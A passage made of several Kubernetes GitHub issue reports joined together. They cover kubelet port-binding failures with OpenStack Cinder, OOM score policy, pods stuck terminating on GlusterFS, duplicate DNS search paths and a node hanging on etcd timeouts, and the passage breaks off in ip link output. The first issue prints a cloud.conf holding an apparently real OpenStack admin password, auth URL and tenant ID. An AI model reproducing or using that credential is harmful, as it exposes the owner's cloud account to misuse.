hi,all.\r i want to configigure kubernetes to use openstack cinder volume.but can't succeed,  the error message is address already in use   .\r \r error details as follows:\r    \r root@kubernetes001:~  kubelet --cloud-provider=openstack --cloud-config=/etc/cloud.conf \r i0621 08:45:54.417669   28642 feature_gate.go:144  feature gates: map  \r w0621 08:45:55.113393   28642 server.go:469  no api client: no api servers specified\r i0621 08:45:55.113568   28642 docker.go:364  connecting to docker on unix:///var/run/docker.sock\r i0621 08:45:55.113651   28642 docker.go:384  start docker client with request timeout=2m0s\r w0621 08:45:55.114430   28642 cni.go:157  unable to update cni config: no networks found in /etc/cni/net.d\r i0621 08:45:55.142829   28642 manager.go:143  cadvisor running in container: \ /user.slice\ \r w0621 08:45:55.209240   28642 manager.go:151  unable to connect to rkt api service: rkt: cannot tcp dial rkt api service: dial tcp 127.0.0.1:15441: getsockopt: connection refused\r i0621 08:45:55.353021   28642 fs.go:117  filesystem partitions: map /dev/vda1:{mountpoint:/ major:253 minor:1 fstype:ext4 blocksize:0} \r i0621 08:45:55.355584   28642 manager.go:198  machine: {numcores:2 cpufrequency:2294684 memorycapacity:4143583232 machineid:0000c73e00d641879588d952a9c827d2 systemuuid:0000c73e-00d6-4187-9588-d952a9c827d2 bootid:cf44c20e-3fe8-49c8-bdb8-632cf595e3c7 filesystems: {device:/dev/vda1 capacity:41567956992 type:vfs inodes:5120000 hasinodes:true}  diskmap:map 252:9:{name:dm-9 major:252 minor:9 size:10737418240 scheduler:none} 253:0:{name:vda major:253 minor:0 size:42949672960 scheduler:none} 252:4:{name:dm-4 major:252 minor:4 size:10737418240 scheduler:none} 252:5:{name:dm-5 major:252 minor:5 size:10737418240 scheduler:none} 252:0:{name:dm-0 major:252 minor:0 size:107374182400 scheduler:none} 252:1:{name:dm-1 major:252 minor:1 size:10737418240 scheduler:none} 252:11:{name:dm-11 major:252 minor:11 size:10737418240 scheduler:none} 252:2:{name:dm-2 major:252 minor:2 size:10737418240 scheduler:none} 252:3:{name:dm-3 major:252 minor:3 size:10737418240 scheduler:none} 252:8:{name:dm-8 major:252 minor:8 size:10737418240 scheduler:none} 252:10:{name:dm-10 major:252 minor:10 size:10737418240 scheduler:none} 252:12:{name:dm-12 major:252 minor:12 size:10737418240 scheduler:none} 252:6:{name:dm-6 major:252 minor:6 size:10737418240 scheduler:none} 252:7:{name:dm-7 major:252 minor:7 size:10737418240 scheduler:none}  networkdevices: {name:datapath macaddress:4e:92:1d:72:b8:81 speed:0 mtu:1376} {name:dummy0 macaddress:c2:c6:b6:bc:77:d2 speed:0 mtu:1500} {name:ens3 macaddress:fa:16:3e:f9:0e:c2 speed:-1 mtu:1450} {name:weave macaddress:a2:d6:08:b0:e5:6b speed:0 mtu:1376}  topology: {id:0 memory:4143583232 cores: {id:0 threads: 0  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} }  caches:  } {id:1 memory:0 cores: {id:0 threads: 1  caches: {size:32768 type:data level:1} {size:32768 type:instruction level:1} {size:4194304 type:unified level:2} }  caches:  }  cloudprovider:unknown instancetype:unknown instanceid:none}\r i0621 08:45:55.356133   28642 manager.go:204  version: {kernelversion:4.4.0-62-generic containerosversion:ubuntu 16.04.1 lts dockerversion:1.11.2 cadvisorversion: cadvisorrevision:}\r w0621 08:45:55.356679   28642 server.go:350  no api server defined - no events will be sent to api server.\r i0621 08:45:55.356766   28642 server.go:509  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r i0621 08:45:55.357522   28642 cadvisor_linux.go:152  failed to register cadvisor on port 4194, retrying. error: listen tcp :4194: bind: address already in use\r i0621 08:45:55.358178   28642 container_manager_linux.go:245  container manager verified user specified cgroup-root exists: /\r i0621 08:45:55.358264   28642 container_manager_linux.go:250  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs protectkerneldefaults:false enablecri:true nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: enforcenodeallocatable:map pods:{}  kubereserved:map   systemreserved:map   hardevictionthresholds: {signal:memory.available operator:lessthan value:{quantity:100mi percentage:0} graceperiod:0s minreclaim:<nil>} } experimentalqosreserved:map  }\r w0621 08:45:55.505000   28642 kubelet_network.go:70  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r i0621 08:45:55.505172   28642 kubelet.go:494  hairpin mode set to \ hairpin-veth\ \r w0621 08:45:55.506930   28642 cni.go:157  unable to update cni config: no networks found in /etc/cni/net.d\r i0621 08:45:55.512730   28642 docker_service.go:187  docker cri networking managed by kubernetes.io/no-op\r i0621 08:45:55.533675   28642 docker_service.go:204  setting cgroupdriver to cgroupfs\r i0621 08:45:55.575333   28642 remote_runtime.go:41  connecting to runtime service /var/run/dockershim.sock\r i0621 08:45:55.581808   28642 kuberuntime_manager.go:171  container runtime docker initialized, version: 1.11.2, apiversion: 1.23.0\r i0621 08:45:55.583216   28642 server.go:869  started kubelet v1.6.5\r e0621 08:45:55.583374   28642 server.go:586  starting health server failed: listen tcp 127.0.0.1:10248: bind: address already in use\r w0621 08:45:55.583485   28642 kubelet.go:1242  no api server defined - no node status update will be sent.\r i0621 08:45:55.583659   28642 kubelet_node_status.go:230  setting node annotation to enable volume controller attach/detach\r i0621 08:45:55.583908   28642 server.go:127  starting to listen on 0.0.0.0:10250\r i0621 08:45:55.584947   28642 server.go:294  adding debug handlers to kubelet server.\r e0621 08:45:55.583246   28642 kubelet.go:1165  image garbage collection failed: unable to find data for container /\r f0621 08:45:55.586527   28642 server.go:152  listen tcp 0.0.0.0:10255: bind: address already in use\r    \r \r here is my cloud.conf file:\r    \r ubuntu@kubernetes001:~$ cat /etc/cloud.conf\r   global  username=admin password=b23d7633cf1c4786 auth-url=http://162.2.45.20:5000/v2.0 region=regionone tenant-id=54e01aea64ca426f8c2619d58b56b2fd\r    \r any help is appreciated, thanks!

https://github.com/kubernetes/kubernetes/blob/886e04f1fffbb04faf8a9f9ee141143b2684ae68/pkg/kubelet/qos/policy.go l29\r \r does kubelet care about whether the infra container oom adj is  -998  or not?  seems so \r should this be part of node spec?\r should runtime decide the oom score?\r should we add an interface to pass some configuration to runtime in cri?\r \r @yujuhong @feiskyer @mrunalp @vishh

 \r   what happened  :\r pod stays in terminating status forever\r \r   what you expected to happen  :\r pod removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r provision container with pvc  dynamic provisioned  using glusterfs wait untill running and then remove pod\r \r   anything else we need to know?  :\r events:\r    \r  1m\t\t1m\t\t1\tkubelet, server37\tspec.containers{wordpress-mariadb}\tnormal\t\tkilling\t\t\tkilling container with id docker://fd110a30094acb46dfcc2f21bd4d5b6ba8f368925f9ec429c842bb27219e5d79:need to kill pod\r   1m\t\t1m\t\t1\tkubelet, server37\t\t\t\t\t\twarning\t\tfailedsync\t\terror syncing pod, skipping: error killing pod: failed to \ killcontainer\  for \ wordpress-mariadb\  with killcontainererror: \ rpc error: code = 4 desc = context deadline exceeded\ \r    \r kubelet log\r    \r e0718 11:18:36.937419   18423 glusterfs.go:145  glusterfs: failed to get endpoints pvc-003c9ec9-6baa-11e7-9aab-002590e7245c an empty namespace may not be set when a resource name is provided \r e0718 11:18:36.937451   18423 reconciler.go:438  could not construct volume information: mountvolume.newmounter failed for volume \ kubernetes.io/glusterfs/0041c0ab-6baa-11e7-b113-00259097cf2c-pvc-003c9ec9-6baa-11e7-9aab-002590e7245c\   spec.name: \ pvc-003c9ec9-6baa-11e7-9aab-002590e7245c\   pod \ 0041c0ab-6baa-11e7-b113-00259097cf2c\   uid: \ 0041c0ab-6baa-11e7-b113-00259097cf2c\   with: an empty namespace may not be set when a resource name is provided\r i0718 11:18:38.260423   18423 kubelet_node_status.go:391  using node ip: \ 10.250.205.108\ \r server37 ~   docker logs kubelet | grep w0718\r w0718 11:13:03.390013   18423 conversion.go:110  could not get instant cpu stats: different number of cpus\r w0718 11:14:17.101741   18423 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ wordpress-mariadb-2583066575-9b4jt_default\ : unexpected command output nsenter: cannot open : no such file or directory\r w0718 11:14:17.109013   18423 pod_container_deletor.go:77  container \ edc0b05b0933bc34b7ab095ccf4e5164ee542021eb61e678d900f216ffa96c7f\  not found in pod's containers\r w0718 11:14:17.114122   18423 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ wordpress-mariadb-2583066575-9b4jt_default\ : unexpected command output nsenter: cannot open : no such file or directory\r w0718 11:14:17.826005   18423 kuberuntime_container.go:436  no ref for container {\ docker\  \ fd110a30094acb46dfcc2f21bd4d5b6ba8f368925f9ec429c842bb27219e5d79\ }\r w0718 11:14:17.832128   18423 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ wordpress-mariadb-2583066575-9b4jt_default\ : unexpected command output nsenter: cannot open : no such file or directory\r w0718 11:14:18.120564   18423 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ wordpress-mariadb-2583066575-9b4jt_default\ : unexpected command output nsenter: cannot open : no such file or directory\r    \r \r   environment  :\r - client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t15:38:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - hardware\r - cat /etc/os-release\r name=\ container linux by coreos\ \r id=coreos\r version=1381.1.0\r version_id=1381.1.0\r build_id=2017-04-25-2232\r pretty_name=\ container linux by coreos 1381.1.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - linux server37 4.10.12-coreos  1 smp tue apr 25 22:08:35 utc 2017 x86_64 intel r  xeon r  cpu e5-2650 v2 @ 2.60ghz genuineintel gnu/linux\r - install tools: hyperkube\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r in my setup, i've added the kube-dns as a nameserver on the host machine  so that i can resolve the pod hostnames from the hosts themselves .  i've additionally added the search names so that certain namespaces are automatically assumed.  \r \r when i start a pod, i get message\r \r > search line limits were exceeded, some search paths have been omitted, the applied search line is: xxx.svc.cluster.local svc.cluster.local cluster.local xxx.svc.cluster.local. yyy. svc.cluster.local.\r \r  xxx and yyy are arbitrary omitted names \r \r   what you expected to happen  :\r \r this makes a little bit of sense, kube-dns is appending the cluster-specific dns settings to the host's dns settings and the total is exceeding some max length.  fine.\r \r however, notice that there are entries in the domain search array that are nearly duplicates, namely\r \r > xxx.svc.cluster.local and svc.cluster.local\r \r each of these have a cooresponding entry with a trailing dot  xxx.svc.cluster.local. and svc.cluster.local. \r \r i see that there is code in the kube-dns that attempts to omit duplicates from the search terms.\r \r however, the code does not account for the fact that search terms might have  and really should have  a trailing dot which is functionally identical to entries without the trailing dot  see http://www.dns-sd.org./trailingdotsindomainnames.html for more info .  \r \r   how to reproduce it  as minimally and precisely as possible   :\r i think you can reproduce simply by adding two entries on your host's resolve.conf file is.  they should be identical, except one should have a trailing dot.  then after creating a pod, notice that both entries show up in the container's resolve.conf, when just one would do the trick.  i think you'd need this setting to be set on the host that runs kube-dns and then restart kube-dns.\r \r   anything else we need to know?  :\r this is only really a problem because the search names are limited to six entries.  an alternate solution would be to increase  or make configurable  the limit value.\r \r although it doesn't actually fix the issue directly, my recommendation would be to add a trailing dot to the search names that are added by kube-dns, so that \ cluster.local\  becomes \ cluster.local.\   unless there's some reason for those domain names to be treated as relative vs absolute, then using the trailing dot would force them to be considered absolute names.  it would also cause the omitduplicates function to behave as expected.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux workstation\ \r version=\ 7.4  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r variant=\ workstation\ \r variant_id=\ workstation\ \r version_id=\ 7.4\ \r pretty_name=\ red hat enterprise linux\ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:redhat:enterprise_linux:7.4:ga:workstation\ \r home_url=\ https://www.redhat.com/\ \r bug_report_url=\ https://bugzilla.redhat.com/\ \r \r redhat_bugzilla_product=\ red hat enterprise linux 7\ \r redhat_bugzilla_product_version=7.4\r redhat_support_product=\ red hat enterprise linux\ \r redhat_support_product_version=\ 7.4\ \r - kernel  e.g.  uname -a  :\r linux  omitted  3.10.0-693.2.2.el7.x86_64  1 smp sat sep 9 03:55:24 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

hey,\r   is this a bug report or feature request?  :\r \r \r  \r   what happened  :\r yesterday i have launched  the kubernetes node.\r the node sometimes is unavailable for about 10 minutes, because the kubernetes node \r hangs and consumes 100% cpu, and ram. the kubernetes system starts automatically, after +/- 10 minutes, and the  restarts  count for  kube-scheduler-linux  pod  has been incremented\r \r the logs:\r    \r sudo journalctl -l -u kubelet --since -200m\r    \r    \r -- logs begin at mon 2018-09-24 16:34:13 cest, end at wed 2018-09-26 16:02:41 cest. --\r sep 26 14:00:07 linux kubelet 64632 : i0926 14:00:07.552039   64632 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ db-backup\   uniquename: \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-db-backup\   pod \ db-backup-1537963200-twvvm\   uid: \ b613757b-c183-11e8-829d-fe479e394817\  \r sep 26 14:00:07 linux kubelet 64632 : i0926 14:00:07.552808   64632 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-zpdpx\   uniquename: \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-default-token-zpdpx\   pod \ db-backup-1537963200-twvvm\   uid: \ b613757b-c183-11e8-829d-fe479e394817\  \r sep 26 14:00:29 linux kubelet 64632 : i0926 14:00:29.632105   64632 reconciler.go:181  operationexecutor.unmountvolume started for volume \ default-token-zpdpx\   uniquename: \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-default-token-zpdpx\   pod \ b613757b-c183-11e8-829d-fe479e394817\   uid: \ b613757b-c183-11e8-829d-fe479e394817\  \r sep 26 14:00:29 linux kubelet 64632 : i0926 14:00:29.632169   64632 reconciler.go:181  operationexecutor.unmountvolume started for volume \ db-backup\   uniquename: \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-db-backup\   pod \ b613757b-c183-11e8-829d-fe479e394817\   uid: \ b613757b-c183-11e8-829d-fe479e394817\  \r sep 26 14:00:29 linux kubelet 64632 : i0926 14:00:29.652722   64632 operation_generator.go:688  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-default-token-zpdpx\   outervolumespecname: \ default-token-zpdpx\   pod \ b613757b-c183-11e8-829d-fe479e394817\   uid: \ b613757b-c183-11e8-829d-fe479e394817\  . innervolumespecname \ default-token-zpdpx\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r sep 26 14:00:29 linux kubelet 64632 : i0926 14:00:29.704367   64632 operation_generator.go:688  unmountvolume.teardown succeeded for volume \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-db-backup\   outervolumespecname: \ db-backup\   pod \ b613757b-c183-11e8-829d-fe479e394817\   uid: \ b613757b-c183-11e8-829d-fe479e394817\  . innervolumespecname \ db-backup\ . pluginname \ kubernetes.io/secret\ , volumegidvalue \ \ \r sep 26 14:00:29 linux kubelet 64632 : i0926 14:00:29.732495   64632 reconciler.go:301  volume detached for volume \ db-backup\   uniquename: \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-db-backup\   on node \ linux\  devicepath \ \ \r sep 26 14:00:29 linux kubelet 64632 : i0926 14:00:29.732541   64632 reconciler.go:301  volume detached for volume \ default-token-zpdpx\   uniquename: \ kubernetes.io/secret/b613757b-c183-11e8-829d-fe479e394817-default-token-zpdpx\   on node \ linux\  devicepath \ \ \r sep 26 14:00:29 linux kubelet 64632 : e0926 14:00:29.743993   64632 kuberuntime_container.go:65  can't make a ref to pod \ db-backup-1537963200-twvvm_default b613757b-c183-11e8-829d-fe479e394817 \ , container db-backup: selflink was empty, can't make reference\r sep 26 14:00:30 linux kubelet 64632 : w0926 14:00:30.535190   64632 pod_container_deletor.go:75  container \ 5d4b8018db6c26294585cdeaabc4305d3a03b0b672edb533d6a9aca1b2f0a14d\  not found in pod's containers\r sep 26 14:48:07 linux kubelet 64632 : e0926 14:48:07.699280   64632 kubelet_node_status.go:391  error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ outofdisk\\\ },{\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ pidpressure\\\ },{\\\ type\\\ :\\\ ready\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ outofdisk\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ pidpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ ready\\\ } }}\  for node \ linux\ : etcdserver: request timed out\r sep 26 14:48:11 linux kubelet 64632 : w0926 14:48:11.309440   64632 prober.go:103  no ref for container \ docker://0958e25040c268601697a6a76bdb51534bd37ca2d928196d8fc4e5180cde400c\   etcd-linux_kube-system 464d558df436b561bd53e48f7b201898 :etcd \r    \r \r    \r error updating node status, will retry: failed to patch status \ {\\\ status\\\ :{\\\ $setelementorder/conditions\\\ : {\\\ type\\\ :\\\ outofdisk\\\ },{\\\ type\\\ :\\\ memorypressure\\\ },{\\\ type\\\ :\\\ diskpressure\\\ },{\\\ type\\\ :\\\ pidpressure\\\ },{\\\ type\\\ :\\\ ready\\\ } ,\\\ conditions\\\ : {\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ outofdisk\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ memorypressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ diskpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ pidpressure\\\ },{\\\ lastheartbeattime\\\ :\\\ 2018-09-26t12:48:00z\\\ ,\\\ type\\\ :\\\ ready\\\ } }}\  for node \ linux\ : etcdserver: request timed out\r    \r   environment  : linux\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r    \r docker -v\r docker version 17.03.3-ce, build e19b718\r    \r    \r kubectl get no\r name      status    roles     age       version\r linux     ready     master    23h       v1.11.3\r    \r \r - cloud provider or hardware configuration:\r    \r single node, 2cpu, 4gb ram\r    \r - os  e.g. from /etc/os-release :\r    \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux linux 4.9.0-8-amd64  1 smp debian 4.9.110-3+deb9u4  2018-08-21  x86_64 gnu/linux\r    \r - install tools:\r    \r setup with  sudo kubeadm init --pod-network-cidr=10.244.0.0/16  the node use the flannel pod network.\r    \r - others:\r sudo iptables -l\r    \r chain input  policy accept \r target     prot opt source               destination\r accept     tcp  --  anywhere             anywhere             tcp dpt:http /  allow http  /\r accept     tcp  --  anywhere             anywhere             tcp dpt:https /  allow https  /\r kube-external-services  all  --  anywhere             anywhere             ctstate new /  kubernetes externally-visible service portals  /\r kube-firewall  all  --  anywhere             anywhere\r accept     tcp  --  anywhere             anywhere             tcp dpt:http\r accept     tcp  --  anywhere             anywhere             tcp dpt:http\r accept     all  --  anywhere             anywhere             ctstate related,established\r accept     tcp  --  anywhere             anywhere             tcp dpt:http\r \r chain forward  policy drop \r target     prot opt source               destination\r kube-forward  all  --  anywhere             anywhere             /  kubernetes forwarding rules  /\r docker-ingress  all  --  anywhere             anywhere\r docker-isolation  all  --  anywhere             anywhere\r docker     all  --  anywhere             anywhere\r accept     all  --  anywhere             anywhere             ctstate related,established\r accept     all  --  anywhere             anywhere\r docker     all  --  anywhere             anywhere\r accept     all  --  anywhere             anywhere             ctstate related,established\r accept     all  --  anywhere             anywhere\r accept     all  --  anywhere             anywhere\r accept     all  --  10.244.0.0/16        anywhere\r accept     all  --  anywhere             10.244.0.0/16\r drop       all  --  anywhere             anywhere\r \r chain output  policy accept \r target     prot opt source               destination\r kube-services  all  --  anywhere             anywhere             ctstate new /  kubernetes service portals  /\r kube-firewall  all  --  anywhere             anywhere\r \r chain docker  2 references \r target     prot opt source               destination\r \r chain docker-ingress  1 references \r target     prot opt source               destination\r accept     tcp  --  anywhere             anywhere             tcp dpt:32547\r accept     tcp  --  anywhere             anywhere             state related,established tcp spt:32547\r accept     tcp  --  anywhere             anywhere             tcp dpt:31604\r accept     tcp  --  anywhere             anywhere             state related,established tcp spt:31604\r accept     tcp  --  anywhere             anywhere             tcp dpt:4000\r accept     tcp  --  anywhere             anywhere             state related,established tcp spt:4000\r return     all  --  anywhere             anywhere\r \r chain docker-isolation  1 references \r target     prot opt source               destination\r drop       all  --  anywhere             anywhere\r drop       all  --  anywhere             anywhere\r return     all  --  anywhere             anywhere\r \r chain kube-external-services  1 references \r target     prot opt source               destination\r \r chain kube-firewall  2 references \r target     prot opt source               destination\r drop       all  --  anywhere             anywhere             /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r \r chain kube-forward  1 references \r target     prot opt source               destination\r accept     all  --  anywhere             anywhere             /  kubernetes forwarding rules  / mark match 0x4000/0x4000\r accept     all  --  10.244.0.0/16        anywhere             /  kubernetes forwarding conntrack pod source rule  / ctstate related,established\r accept     all  --  anywhere             10.244.0.0/16        /  kubernetes forwarding conntrack pod destination rule  / ctstate related,established\r \r chain kube-services  1 references \r target     prot opt source               destination\r    \r \r    \r kubectl get pods --all-namespaces\r default       api-574cbf8c55-jx5mt                   1/1       running     0          21h\r default       db-0                                   1/1       running     0          23h\r default       db-backup-1537941600-l9pf9             0/1       completed   0          8h\r default       db-backup-1537952400-rfzhc             0/1       completed   0          5h\r default       db-backup-1537963200-twvvm             0/1       completed   0          2h\r default       nginx-65665c698-nghzw                  1/1       running     0          22h\r default       redis-0                                1/1       running     0          23h\r kube-system   coredns-78fcdf6894-9qdx9               1/1       running     0          23h\r kube-system   coredns-78fcdf6894-sxr8n               1/1       running     0          23h\r kube-system   etcd-linux                             1/1       running     0          23h\r kube-system   kube-apiserver-linux                   1/1       running     0          23h\r kube-system   kube-controller-manager-linux          1/1       running     0          23h\r kube-system   kube-flannel-ds-rmswd                  1/1       running     0          23h\r kube-system   kube-proxy-hrzwn                       1/1       running     0          23h\r kube-system   kube-scheduler-linux                   1/1       running     1          23h\r kube-system   kubernetes-dashboard-767dc7d4d-8gfvt   1/1       running     0          23h\r    \r \r    \r ip link\r \r 3585: vethe96fa57@if3584: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master docker_gwbridge state up mode default group default\r     link/ether fe:47:9e:39:48:17 brd ff:ff:ff:ff:ff:ff link-netnsid 45\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown mode default group default qlen 1\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r 2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc mq state up mode default group default qlen 1000\r     link/ether 00:50:56:01:1e:37 brd ff:ff:ff:ff:ff:ff\r 3: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state down mode default group default\r     link/ether 02:42:2e:2a:fb:6c brd ff:ff:ff:ff:ff:ff\r 4: flannel.1: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue state unknown mode default group default\r     link/ether a6:ad:80:d2:c4:04 brd ff:ff:ff:ff:ff:ff\r 3589: veth97fbd34@if3588: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master docker_gwbridge state up mode default group default\r     link/ether 1a:14:ec:a8:96:e3 brd ff:ff:ff:ff:ff:ff link-netnsid 46\r 5: cni0: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue state up mode default group default qlen 1000\r     link/ether 0a:58:0a:f4:00:01 brd ff:ff:ff:ff:ff:ff\r 7: veth410d3903@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 32:16:13:03:8f:f1 brd ff:ff:ff:ff:ff:ff link-netnsid 1\r 8: veth6c0407ce@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 62:6d:71:c4:8c:ee brd ff:ff:ff:ff:ff:ff link-netnsid 0\r 9: veth30a27eaa@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 2a:33:65:56:84:cd brd ff:ff:ff:ff:ff:ff link-netnsid 2\r 10: veth2d253dc2@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 7a:a4:5f:4a:92:cb brd ff:ff:ff:ff:ff:ff link-netnsid 3\r 3595: veth30277d4@if3594: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master docker_gwbridge state up mode default group default\r     link/ether c6:b9:80:44:b9:7a brd ff:ff:ff:ff:ff:ff link-netnsid 50\r 11: veth5f790238@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 8a:8a:0e:32:64:c3 brd ff:ff:ff:ff:ff:ff link-netnsid 4\r 3596: veth7ba14d38@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether ea:aa:7d:76:8b:14 brd ff:ff:ff:ff:ff:ff link-netnsid 6\r 12: vethc271651f@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether be:c0:41:81:f2:36 brd ff:ff:ff:ff:ff:ff link-netnsid 5\r 3597: veth5eebc197@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 06:5c:1a:15:9c:45 brd ff:ff:ff:ff:ff:ff link-netnsid 7\r 3598: vethc28b2873@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 9a:8b:46:16:bb:c8 brd ff:ff:ff:ff:ff:ff link-netnsid 48\r 3621: veth55c73aaf@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether b6:a1:6e:c2:c7:b2 brd ff:ff:ff:ff:ff:ff link-netnsid 51\r 3622: veth66fa0666@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether a6:1d:fc:bc:f8:6a brd ff:ff:ff:ff:ff:ff link-netnsid 52\r 3629: vethefd43909@if3: <broadcast,multicast,up,lower_up> mtu 1450 qdisc noqueue master cni0 state up mode default group default\r     link/ether 42:0e:53:5b:90:da brd ff:ff:ff:ff:ff:ff link-netnsid 56\r 3630: veth18b5a23a@if3: <broadcast,multicast,up,lower_up> 